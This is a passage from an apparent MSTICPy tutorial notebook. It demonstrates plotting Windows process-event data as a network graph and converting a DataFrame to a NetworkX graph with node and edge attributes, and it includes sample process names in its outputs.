table-cell;\">min_border&nbsp;=&nbsp;5,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_bottom&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_left&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_right&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_top&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outer_height&nbsp;=&nbsp;0,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outer_width&nbsp;=&nbsp;0,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_cap&nbsp;=&nbsp;'butt',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_color&nbsp;=&nbsp;'#e5e5e5',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_dash&nbsp;=&nbsp;[],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_dash_offset&nbsp;=&nbsp;0,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_join&nbsp;=&nbsp;'bevel',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_width&nbsp;=&nbsp;1,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">output_backend&nbsp;=&nbsp;'canvas',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">renderers&nbsp;=&nbsp;[GraphRenderer(id='5035', ...)],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">reset_policy&nbsp;=&nbsp;'standard',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">right&nbsp;=&nbsp;[],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">title&nbsp;=&nbsp;Title(id='5003', ...),</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">title_location&nbsp;=&nbsp;'above',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar&nbsp;=&nbsp;Toolbar(id='5028', ...),</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar_location&nbsp;=&nbsp;'right',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar_sticky&nbsp;=&nbsp;True,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;800,</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">x_range&nbsp;=&nbsp;Range1d(id='5005', ...),</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">x_scale&nbsp;=&nbsp;LinearScale(id='5009', ...),</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">y_range&nbsp;=&nbsp;Range1d(id='5007', ...),</div></div><div class=\"5496\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">y_scale&nbsp;=&nbsp;LinearScale(id='5011', ...))</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"5497\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"5496\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Figure(id='5002', ...)"
      ]
     },
     "execution_count": 34,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "proc_df.head(100).mp_plot.network(\n",
    "    source_col=\"SubjectUserName\",\n",
    "    target_col=\"Process\",\n",
    "    source_attrs=[\"SubjectDomainName\", \"SubjectLogonId\"],\n",
    "    target_attrs=[\"NewProcessName\", \"ParentProcessName\", \"CommandLine\"],\n",
    "    edge_attrs=[\"TimeGenerated\"],\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Creating a NetworkX Graph from a DataFrame\n",
    "\n",
    "The `mp.to_graph` accessor will generate a NetworkX graph\n",
    "from the input data. This is a method that is added\n",
    "to DataFrames by MSTICPy.\n",
    "\n",
    "You can supply the following parameters:\n",
    "\n",
    "- source_col - Column for source nodes.\n",
    "- target_col - Column for target nodes.\n",
    "- source_attrs - Optional list of columns to use as source node attributes, by default None\n",
    "- target_attrs - Optional list of columns to use as target node attributes, by default None\n",
    "- edge_attrs - Optional list of columns to use as edge node attributes, by default None\n",
    "- graph_type - \"graph\" or \"digraph\" (for nx.DiGraph)\n",
    "\n",
    "It returns a NetworkX graph that you can perform graph\n",
    "analyses on such as extracting subgraphs, analyzing connectedness, etc\n",
    "See the [NetworkX documentation](https://networkx.org/documentation/stable/reference/index.html) for more details.\n",
    "\n",
    "You can also import and use the underlying function.\n",
    "This has the same functionality as the pandas accessor method.\n",
    "```python3\n",
    "from msticpy.transform.network.df_to_networkx\n",
    "\n",
    "nx_graph = df_to_networkx(\n",
    "    data=proc_df,\n",
    "    source_col=\"SubjectUserName\",\n",
    "    target_col=\"Process\"\n",
    ")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [],
   "source": [
    "nx_graph = proc_df.mp.to_graph(\n",
    "    source_col=\"SubjectUserName\",\n",
    "    target_col=\"Process\"\n",
    ")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "# nodes: 65\n",
      "# edges: 67\n"
     ]
    }
   ],
   "source": [
    "print(\"# nodes:\", len(nx_graph.nodes()))\n",
    "print(\"# edges:\", len(nx_graph.edges()))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Display the node with default attributes"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'node_role': 'source', 'node_type': 'SubjectUserName'}"
      ]
     },
     "execution_count": 14,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "nx_graph.nodes[\"MSTICAdmin\"]"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "['reg.exe',\n",
       " 'cmd.exe',\n",
       " 'rundll32.exe',\n",
       " '42424.exe',\n",
       " '1234.exe',\n",
       " 'tsetup.1.exe',\n",
       " 'netsh.exe',\n",
       " 'perfc.dat',\n",
       " 'sdopfjiowtbkjfnbeioruj.exe',\n",
       " 'doubleextension.pdf.exe',\n",
       " 'vssadmin.exe',\n",
       " 'conhost.exe',\n",
       " 'net.exe',\n",
       " 'net1.exe',\n",
       " 'regsvr32.exe']"
      ]
     },
     "execution_count": 38,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "import networkx as nx\n",
    "# Show neighbors of a node - which processes where executed by this account\n",
    "list(nx.neighbors(nx_graph, \"MSTICAdmin\"))[:15]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Adding node and edge attributes"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 39,
   "metadata": {},
   "outputs": [],
   "source": [
    "nx_graph = proc_df.mp.to_graph(\n",
    "    source_col=\"SubjectUserName\",\n",
    "    target_col=\"Process\",\n",
    "    source_attrs=[\"SubjectDomainName\", \"SubjectLogonId\"],\n",
    "    target_attrs=[\"NewProcessName\", \"ParentProcessName\", \"CommandLine\"],\n",
    "    edge_attrs=[\"TimeGenerated\"],\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Display the node with added attributes"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 40,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'SubjectDomainName': 'MSTICAlertsWin1',\n",
       " 'SubjectLogonId': '0xfaac27',\n",
       " 'node_role': 'source',\n",
       " 'node_type': 'SubjectUserName'}"
      ]
     },
     "execution_count": 40,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "nx_graph.nodes[\"MSTICAdmin\"]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Built-in Networkx Plotting\n",
    "\n",
    "You can use the matplotlib built-in networkx plotting backend.\n",
    "You can also use NetworkX functions to export the\n",
    "graph to a variety of more flexibly visualization tools such as\n",
    "GraphViz.\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 43,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": "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